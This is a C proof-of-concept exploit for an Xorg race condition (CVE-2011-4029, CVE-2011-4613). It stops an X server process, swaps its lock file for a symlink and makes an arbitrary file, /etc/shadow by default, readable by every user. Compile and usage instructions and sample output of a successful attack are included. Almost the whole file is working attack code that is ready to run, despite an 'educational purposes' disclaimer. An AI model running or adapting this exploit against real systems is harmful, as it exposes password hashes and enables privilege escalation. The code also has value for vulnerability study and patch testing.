1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 |
/* xchmod.c -- Xorg file permission change vulnerability PoC Author:vladz (http://vladz.devzero.fr) Date:2011/12/15 Software:www.x.org Version: Xorg 1.4 to 1.11.2 in all configurations.Xorg 1.3 and earlier if built with the USE_CHMOD preprocessor identifier Tested on: Debian 6.0.2 up to date with X default configuration issued from the xserver-xorg-core package (version 2:1.7.7-13) CVEs:CVE-2011-4029 & CVE-2011-4613 This PoC exploits CVE-2011-4029 to set the rights 444 (read for all) on arbitrary file specified as argument (default file is "/etc/shadow"). It uses SIGSTOP/SIGCONT signals and the Inotify API to win the race. Made for EDUCATIONAL PURPOSES ONLY! On some configurations, this exploit must be launched from a TTY (switch by typing Ctrl-Alt-Fn).But not on Debian, because it bypasses the X wrapper permission thanks to CVE-2011-4613! Tested on Debian 6.0.3 up to date with X default configuration issued from the xserver-xorg-core package (version 2:1.7.7-13). Compile:cc xchmod.c -o xchmod Usage:./xchmod [/path/to/file](default file is /etc/shadow) $ ls -l /etc/shadow -rw-r----- 1 root shadow 1072 Aug7 07:10 /etc/shadow $ ./xchmod [+] Trying to stop a Xorg process right before chmod() [+] Process ID 4134 stopped (SIGSTOP sent) [+] Removing /tmp/.tX1-lock by launching another Xorg process [+] Creating evil symlink (/tmp/.tX1-lock -> /etc/shadow) [+] Process ID 4134 resumed (SIGCONT sent) [+] Attack succeeded, ls -l /etc/shadow: -r--r--r-- 1 root shadow 1072 Aug7 07:10 /etc/shadow ----------------------------------------------------------------------- "THE BEER-WARE LICENSE" (Revision 42): <vladz@devzero.fr> wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return. -V. */ #include <fcntl.h> #include <unistd.h> #include <stdio.h> #include <syscall.h> #include <signal.h> #include <string.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/inotify.h> #include <sys/types.h> #include <sys/wait.h> #define XORG_BIN "/usr/bin/X" #define DISPLAY":1" char *get_tty_number(void) { char tty_name[128], *ptr; memset(tty_name, '\0', sizeof(tty_name)); readlink("/proc/self/fd/0", tty_name, sizeof(tty_name)); if ((ptr = strstr(tty_name, "tty"))) return ptr + 3; return NULL; } void timeout_handler() { printf("[-] read() timeout!\n"); if (!get_tty_number()) printf("Try with console ownership: switch to a TTY by using " "Ctrl-Alt-F[1-6] and try again.\n"); else printf("Maybe inotify isn't enabled.\n"); _exit(1); } int launch_xorg_instance(int inc) { int pid, newfd; char *opt[] = { XORG_BIN, DISPLAY, NULL }; if ((pid = fork()) == 0) { newfd = open("/dev/tty", O_RDONLY); dup2(newfd, 0); close(1); close(2); nice(inc); usleep(30000); execve(XORG_BIN, opt, NULL); _exit(0); } return pid; } void show_target_file(char *file) { char cmd[128]; memset(cmd, '\0', sizeof(cmd)); sprintf(cmd, "/bin/ls -l %s", file); system(cmd); } int main(int argc, char **argv) { pid_t pid, remove_pid; struct stat st; int fd, wd, status; char targetfile[128], lockfiletmp[20], lockfile[20]; if (argc < 2) strcpy(targetfile, "/etc/shadow"); else strcpy(targetfile, argv[1]); sprintf(lockfile, "/tmp/.X%s-lock", DISPLAY + 1); sprintf(lockfiletmp, "/tmp/.tX%s-lock", DISPLAY + 1); if (stat(lockfile, &st) == 0) { printf("[-] %s exists, maybe Xorg is already running on this" " display?Choose another display by editing the DISPLAY" " attributes.\n", lockfile); return 1; } umask(077); signal(SIGALRM, timeout_handler); symlink("/dontexist", lockfile); fd = inotify_init(); wd = inotify_add_watch(fd, "/tmp", IN_CREATE); alarm(5); printf("[+] Trying to stop a Xorg process right before chmod()\n"); pid = launch_xorg_instance(19); syscall(SYS_read, fd, 0, 0); syscall(SYS_kill, pid, SIGSTOP); alarm(0); printf("[+] Process ID %d stopped (SIGSTOP sent)\n", pid); inotify_rm_watch(fd, wd); stat(lockfiletmp, &st); if ((st.st_mode & 4) != 0) { printf("[-] %s file has wrong rights (%o) removing it by launching" " another Xorg process\n[-] Attack failed.Try again!\n", lockfiletmp, st.st_mode); remove_pid = launch_xorg_instance(0); waitpid(remove_pid, &status, 0); unlink(lockfile); return 1; } printf("[+] Removing %s by launching another Xorg process\n", lockfiletmp); remove_pid = launch_xorg_instance(0); waitpid(remove_pid, &status, 0); printf("[+] Creating evil symlink (%s -> %s)\n", lockfiletmp, targetfile); symlink(targetfile, lockfiletmp); printf("[+] Process ID %d resumed (SIGCONT sent)\n", pid); kill(pid, SIGCONT); waitpid(pid, &status, 0); unlink(lockfile); stat(targetfile, &st); if (!(st.st_mode & 004)) { printf("[-] Attack failed, rights are %o.Try again!\n", st.st_mode); return 1; } printf("[+] Attack succeeded, ls -l %s:\n", targetfile); show_target_file(targetfile); return 0; } |